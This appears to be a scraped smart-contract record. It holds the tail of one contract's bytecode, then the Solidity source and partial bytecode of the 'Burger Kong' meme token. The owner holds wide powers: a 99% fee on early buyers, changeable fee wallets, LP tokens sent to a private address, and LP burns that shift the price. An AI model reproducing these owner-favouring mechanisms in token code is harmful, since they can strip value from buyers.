ffffffffffffffff1681526020019081526020016000208190555061276282600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f784600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128448382613152565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006128c486611aae565b9450945094509450945061292085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129b584600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a028382613152565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000612a8286611aae565b94509450945094509450612ade86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b7385600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0690919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c0882600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c9d84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5090919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cea8382613152565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600060065490506000683635c9adc5dea00000905060005b600580549050811015612fbb57826001600060058481548110612d9357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612e7a5750816002600060058481548110612e1257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612e9857600654683635c9adc5dea0000094509450505050613002565b612f216001600060058481548110612eac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611b0690919063ffffffff16565b9250612fac6002600060058481548110612f3757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611b0690919063ffffffff16565b91508080600101915050612d74565b50612fda683635c9adc5dea0000060065461231390919063ffffffff16565b821015612ff957600654683635c9adc5dea00000935093505050613002565b81819350935050505b9091565b600080831182906130b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561307757808201518184015260208101905061305c565b50505050905090810190601f1680156130a45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816130be57fe5b049050809150509392505050565b6000808314156130df576000905061314c565b60008284029050828482816130f057fe5b0414613147576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806132226021913960400191505060405180910390fd5b809150505b92915050565b61316782600654611b0690919063ffffffff16565b60068190555061318281600754611b5090919063ffffffff16565b600781905550505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122029b8dd163d05b2da9f62ca303ab1b2fdb107789acf4b67ddd865de266139f43264736f6c634300060c0033
[ 4 ]
0xf276aad49776a219004c2bd2fc46fecf3b5f024f
// SPDX-License-Identifier: MIT //BURGER KONG //http://t.me/burgerkong //https://www.burgerkongtoken.com/ pragma solidity 0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IDexPair { function sync() external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string public _name; string public _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _createInitialSupply(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) external virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract BKONG is ERC20, Ownable { IDexRouter public dexRouter; address public lpPair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 private blockPenalty; uint256 public tradingActiveBlock = 0; // 0 means trading is not active uint256 public maxTxnAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public amountForAutoBuyBack = 0.2 ether; bool public autoBuyBackEnabled = false; uint256 public autoBuyBackFrequency = 3600 seconds; uint256 public lastAutoBuyBackTime; uint256 public percentForLPBurn = 100; // 100 = 1% bool public lpBurnEnabled = false; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 1 hours; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyBuyBackFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellBuyBackFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForBuyBack; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedmaxTxnAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event MarketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event DevWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(uint256 amount); event ManualNukeLP(uint256 amount); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); constructor() ERC20("", "") payable { uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 5; uint256 _buyBuyBackFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 15; uint256 _sellLiquidityFee = 5; uint256 _sellBuyBackFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 10 * 1e12 * 1e18; maxTxnAmount = totalSupply * 5 / 1000; maxWallet = totalSupply * 1 / 100; // 1% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap amount buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBuyBackFee = _buyBuyBackFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBuyBackFee = _sellBuyBackFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; marketingWallet = address(0x42cF8a0af09f2154cFce4FBCD20Ef3d749c8de5c); // set as marketing wallet devWallet = address(msg.sender); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(marketingWallet, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(0xB8762B2CBBf1EB148f8b8E686029DE976F9FAb1A, true); // future owner wallet excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(marketingWallet, true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); excludeFromMaxTransaction(0xB8762B2CBBf1EB148f8b8E686029DE976F9FAb1A, true); /* _createInitialSupply is an internal function that is only called here, and CANNOT be called ever again */ _createInitialSupply(0xB8762B2CBBf1EB148f8b8E686029DE976F9FAb1A, totalSupply*5/100); _createInitialSupply(address(this), totalSupply*95/100); } receive() external payable { } // remove limits after token is stable function removeLimits() external onlyOwner { limitsInEffect = false; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTxnAmount lower than 0.5%"); maxTxnAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 100)/1e18, "Cannot set maxWallet lower than 1%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedmaxTxnAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyBuyBackFee = _buyBackFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellBuyBackFee = _buyBackFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != lpPair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit MarketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit DevWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping && !_isExcludedFromFees[to] && !_isExcludedFromFees[from] ){ // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != address(dexRouter) && to != address(lpPair)){ require(_holderLastTransferBlock[tx.origin] < block.number - 1 && _holderLastTransferBlock[to] < block.number - 1, "_transfer:: Transfer Delay enabled. Try again later."); _holderLastTransferBlock[tx.origin] = block.number; _holderLastTransferBlock[to] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedmaxTxnAmount[to]) { require(amount <= maxTxnAmount, "Buy transfer amount exceeds the maxTxnAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedmaxTxnAmount[from]) { require(amount <= maxTxnAmount, "Sell transfer amount exceeds the maxTxnAmount."); } else if (!_isExcludedmaxTxnAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } if(!swapping && automatedMarketMakerPairs[to] && autoBuyBackEnabled && block.timestamp >= lastAutoBuyBackTime + autoBuyBackFrequency && !_isExcludedFromFees[from] && address(this).balance >= amountForAutoBuyBack){ autoBuyBack(amountForAutoBuyBack); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // bot/sniper penalty. Tokens get transferred to marketing wallet to allow potential refund. if(isPenaltyActive() && automatedMarketMakerPairs[from]){ fees = amount * 99 / 100; tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; } // on sell else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount * sellTotalFees / 100; tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForBuyBack += fees * sellBuyBackFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount * buyTotalFees / 100; tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForBuyBack += fees * buyBuyBackFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); // make the swap dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(dexRouter), tokenAmount); // add the liquidity dexRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForBuyBack + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance - liquidityTokens; uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance - initialETHBalance; uint256 ethForMarketing = ethBalance * tokensForMarketing / (totalTokensToSwap - (tokensForLiquidity/2)); uint256 ethForBuyBack = ethBalance * tokensForBuyBack / (totalTokensToSwap - (tokensForLiquidity/2)); uint256 ethForDev = ethBalance * tokensForDev / (totalTokensToSwap - (tokensForLiquidity/2)); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForBuyBack - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForBuyBack = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); (success,) = address(marketingWallet).call{value: ethForMarketing}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } // keep leftover ETH for buyback } // force Swap back if slippage issues. function forceSwapBack() external onlyOwner { require(balanceOf(address(this)) >= swapTokensAtAmount, "Can only swap when token amount is at or higher than restriction"); swapping = true; swapBack(); swapping = false; emit OwnerForcedSwapBack(block.timestamp); } // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 amountInWei) external onlyOwner { require(amountInWei <= 10 ether, "May not buy more than 10 ETH in a single buy to reduce sandwich attacks"); address[] memory path = new address[](2); path[0] = dexRouter.WETH(); path[1] = address(this); // make the swap dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); emit BuyBackTriggered(amountInWei); } function setAutoBuyBackSettings(uint256 _frequencyInSeconds, uint256 _buyBackAmount, bool _autoBuyBackEnabled) external onlyOwner { require(_frequencyInSeconds >= 30, "cannot set buyback more often than every 30 seconds"); require(_buyBackAmount <= 2 ether && _buyBackAmount >= 0.05 ether, "Must set auto buyback amount between .05 and 2 ETH"); autoBuyBackFrequency = _frequencyInSeconds; amountForAutoBuyBack = _buyBackAmount; autoBuyBackEnabled = _autoBuyBackEnabled; } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 1% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } // automated buyback function autoBuyBack(uint256 amountInWei) internal { lastAutoBuyBackTime = block.timestamp; address[] memory path = new address[](2); path[0] = dexRouter.WETH(); path[1] = address(this); // make the swap dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); emit BuyBackTriggered(amountInWei); } function isPenaltyActive() public view returns (bool) { return tradingActiveBlock >= block.number - blockPenalty; } function autoBurnLiquidityPairTokens() internal{ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(lpPair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance * percentForLPBurn / 10000; if (amountToBurn > 0){ super._transfer(lpPair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IDexPair pair = IDexPair(lpPair); pair.sync(); emit AutoNukeLP(amountToBurn); } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner { require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(lpPair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance * percent / 10000; if (amountToBurn > 0){ super._transfer(lpPair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IDexPair pair = IDexPair(lpPair); pair.sync(); emit ManualNukeLP(amountToBurn); } function launch(uint256 _blockPenalty) external onlyOwner { require(!tradingActive, "Trading is already active, cannot relaunch."); blockPenalty = _blockPenalty; //update name/ticker _name = "Burger Kong"; _symbol = "BK"; //standard enable trading tradingActive = true; swapEnabled = true; tradingActiveBlock = block.number; lastLpBurnTime = block.timestamp; // initialize router IDexRouter _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); dexRouter = _dexRouter; // create pair lpPair = IDexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH()); excludeFromMaxTransaction(address(lpPair), true); _setAutomatedMarketMakerPair(address(lpPair), true); // add the liquidity require(address(this).balance > 0, "Must have ETH on contract to launch"); require(balanceOf(address(this)) > 0, "Must have Tokens on contract to launch"); _approve(address(this), address(dexRouter), balanceOf(address(this))); dexRouter.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, // slippage is unavoidable 0, // slippage is unavoidable 0xb98d1576AcCA7Ab82B1c4c6C39788C2374342285, block.timestamp ); } // withdraw ETH if stuck before launch function withdrawStuckETH() external onlyOwner { require(!tradingActive, "Can only withdraw if trading hasn't started"); bool success; (success,) = address(msg.sender).call{value: address(this).balance}(""); } }
0x6080604052600436106104565760003560e01c80637bce5a041161023f578063c024666811610139578063e7ad9fcd116100b6578063f5648a4f1161007a578063f5648a4f14610c88578063f637434214610c9d578063f8b45b0514610cb3578063fc155d1d14610cc9578063fe72b27a14610ce957600080fd5b8063e7ad9fcd14610c07578063e884f26014610c27578063ee40166e14610c3c578063f11a24d314610c52578063f2fde38b14610c6857600080fd5b8063d28d8852116100fd578063d28d885214610b60578063d85ba06314610b75578063db4e7f5414610b8b578063dd62ed3e14610bab578063e2f4560514610bf157600080fd5b8063c024666814610ad0578063c18bc19514610af0578063c876d0b914610b10578063cf46f24c14610b2a578063d257b34f14610b4057600080fd5b80639ec22c0e116101c7578063a9059cbb1161018b578063a9059cbb14610a2c578063aacebbe314610a4c578063b09f126614610a6c578063b62496f514610a81578063bbc0c74214610ab157600080fd5b80639ec22c0e146109b45780639fccce32146109ca578063a0d82dc5146109e0578063a457c2d7146109f6578063a4c82a0014610a1657600080fd5b8063921369131161020e5780639213691314610933578063924de9b71461094957806395d89b41146109695780639a7a23d61461097e5780639c3b4fdc1461099e57600080fd5b80637bce5a04146108bf57806385b12c7c146108d55780638da5cb5b146108f55780638ea5220f1461091357600080fd5b8063313ce5671161035057806362a7b83b116102d8578063730c18881161029c578063730c188814610830578063751039fc1461085057806375552ea8146108655780637571336a1461087f57806375f0a8741461089f57600080fd5b806362a7b83b146107af5780636a486a8e146107c55780636ddd1713146107db57806370a08231146107fb578063715018a61461081b57600080fd5b80634a62bb651161031f5780634a62bb65146107025780634fbee1931461071c57806351f205e41461075557806358b69bc31461076a5780635f559fba1461077f57600080fd5b8063313ce56714610690578063338f6d6c146106ac578063395093511461